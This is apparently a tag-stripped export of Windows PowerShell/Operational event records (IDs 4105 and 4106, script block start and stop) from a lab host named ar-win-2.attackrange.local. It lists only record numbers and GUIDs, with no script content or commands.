410615103150x0668037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 